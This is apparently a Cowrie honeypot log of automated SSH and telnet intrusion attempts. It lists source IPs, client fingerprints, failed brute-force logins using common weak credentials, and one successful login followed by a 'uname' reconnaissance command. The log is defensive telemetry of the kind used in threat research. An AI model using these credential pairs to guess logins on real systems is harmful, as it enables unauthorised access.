{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":55172,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e4f212a40ef","protocol":"ssh","message":"New connection: 139.99.74.35:55172 (159.203.135.109:22) [session: 5e4f212a40ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:51.106291Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":40152,"dst_ip":"10.17.0.5","dst_port":22,"session":"85385094cc41","protocol":"ssh","message":"New connection: 91.92.40.153:40152 (10.17.0.5:22) [session: 85385094cc41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:51.807492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:52.910976Z","src_ip":"91.92.40.153","session":"85385094cc41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:52.915836Z","src_ip":"91.92.40.153","session":"85385094cc41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:55.875734Z","src_ip":"139.99.74.35","session":"5e4f212a40ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":36738,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1789ac5c595","protocol":"ssh","message":"New connection: 139.99.74.35:36738 (159.203.135.109:22) [session: a1789ac5c595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:56.100779Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:56.208843Z","src_ip":"91.92.40.153","session":"85385094cc41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.24374270439148,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:56.495089Z","src_ip":"107.6.151.170","session":"d69b2d56bdb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":50798,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2adaa35a802","protocol":"ssh","message":"New connection: 91.92.40.153:50798 (10.17.0.5:22) [session: b2adaa35a802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:57.676654Z"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:58.832806Z","src_ip":"91.92.40.153","session":"85385094cc41","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:59.003293Z","src_ip":"91.92.40.153","session":"b2adaa35a802","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:59.007029Z","src_ip":"91.92.40.153","session":"b2adaa35a802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:00.893599Z","src_ip":"139.99.74.35","session":"a1789ac5c595","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":36766,"dst_ip":"159.203.135.109","dst_port":22,"session":"16a1e970ef97","protocol":"ssh","message":"New connection: 139.99.74.35:36766 (159.203.135.109:22) [session: 16a1e970ef97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:01.120286Z"}
{"eventid":"cowrie.session.closed","duration":50.88815140724182,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:01.421661Z","src_ip":"170.64.224.25","session":"9ae28ff1f244","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"calvin","password":"calvin","message":"login attempt [calvin/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:03.424284Z","src_ip":"91.92.40.153","session":"b2adaa35a802","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":60088,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cf7596684bb","protocol":"ssh","message":"New connection: 91.92.40.153:60088 (10.17.0.5:22) [session: 7cf7596684bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:03.658286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:05.115631Z","src_ip":"91.92.40.153","session":"7cf7596684bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:05.120046Z","src_ip":"91.92.40.153","session":"7cf7596684bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:05.854305Z","src_ip":"91.92.40.153","session":"b2adaa35a802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:05.894312Z","src_ip":"139.99.74.35","session":"16a1e970ef97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:06.065019Z","src_ip":"198.1.93.192","session":"2ccd456086ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":45976,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e0161a6eb64","protocol":"ssh","message":"New connection: 139.99.74.35:45976 (159.203.135.109:22) [session: 4e0161a6eb64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:06.119118Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56746,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfc625bb942f","protocol":"telnet","message":"New connection: 170.64.224.25:56746 (159.203.135.109:23) [session: dfc625bb942f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:06.680993Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.163.5.228","src_port":44222,"dst_ip":"159.203.135.109","dst_port":22,"session":"eeb52a778ab1","protocol":"ssh","message":"New connection: 221.163.5.228:44222 (159.203.135.109:22) [session: eeb52a778ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:06.746253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:06.751054Z","src_ip":"221.163.5.228","session":"eeb52a778ab1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3cb24313ef7969100a7527f11b569cd4","hasshAlgorithms":"diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,ext-info-c;3des-cbc,aes128-cbc,aes128-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3cb24313ef7969100a7527f11b569cd4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:06.955021Z","src_ip":"221.163.5.228","session":"eeb52a778ab1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456!@","message":"login attempt [root/123456!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:07.795858Z","src_ip":"221.163.5.228","session":"eeb52a778ab1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40028,"dst_ip":"159.203.135.109","dst_port":23,"session":"9683b2f9a00e","protocol":"telnet","message":"New connection: 170.64.224.25:40028 (159.203.135.109:23) [session: 9683b2f9a00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:08.016884Z"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:08.260085Z","src_ip":"91.92.40.153","session":"7cf7596684bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:09.000655Z","src_ip":"221.163.5.228","session":"eeb52a778ab1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:09.602554Z","src_ip":"91.92.40.153","session":"7cf7596684bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":40488,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6545a8de325","protocol":"ssh","message":"New connection: 103.27.238.114:40488 (10.17.0.5:22) [session: e6545a8de325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:09.778792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:09.783626Z","src_ip":"103.27.238.114","session":"e6545a8de325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:10.054056Z","src_ip":"103.27.238.114","session":"e6545a8de325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuioppoiuytrewq","message":"login attempt [root/qwertyuioppoiuytrewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:10.870066Z","src_ip":"103.27.238.114","session":"e6545a8de325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:10.929863Z","src_ip":"139.99.74.35","session":"4e0161a6eb64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":46000,"dst_ip":"159.203.135.109","dst_port":22,"session":"81ca040d8e0a","protocol":"ssh","message":"New connection: 139.99.74.35:46000 (159.203.135.109:22) [session: 81ca040d8e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:11.155494Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":60182,"dst_ip":"10.17.0.5","dst_port":22,"session":"4511833fbd15","protocol":"ssh","message":"New connection: 91.92.40.153:60182 (10.17.0.5:22) [session: 4511833fbd15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:11.932086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:11.956661Z","src_ip":"91.92.40.153","session":"4511833fbd15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:12.067912Z","src_ip":"91.92.40.153","session":"4511833fbd15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:12.143517Z","src_ip":"103.27.238.114","session":"e6545a8de325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43926,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2eda1a340e2","protocol":"ssh","message":"New connection: 160.187.174.22:43926 (159.203.135.109:22) [session: c2eda1a340e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:12.462319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:12.467191Z","src_ip":"160.187.174.22","session":"c2eda1a340e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:12.708992Z","src_ip":"160.187.174.22","session":"c2eda1a340e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qwerty","message":"login attempt [ansible/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:13.174283Z","src_ip":"91.92.40.153","session":"4511833fbd15","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123qwe","message":"login attempt [oracle/123qwe] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:13.472881Z","src_ip":"160.187.174.22","session":"c2eda1a340e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:14.003016Z","src_ip":"160.187.174.22","session":"c2eda1a340e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:14.005724Z","src_ip":"160.187.174.22","session":"c2eda1a340e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:14.246641Z","src_ip":"160.187.174.22","session":"c2eda1a340e2","protocol":"ssh"}
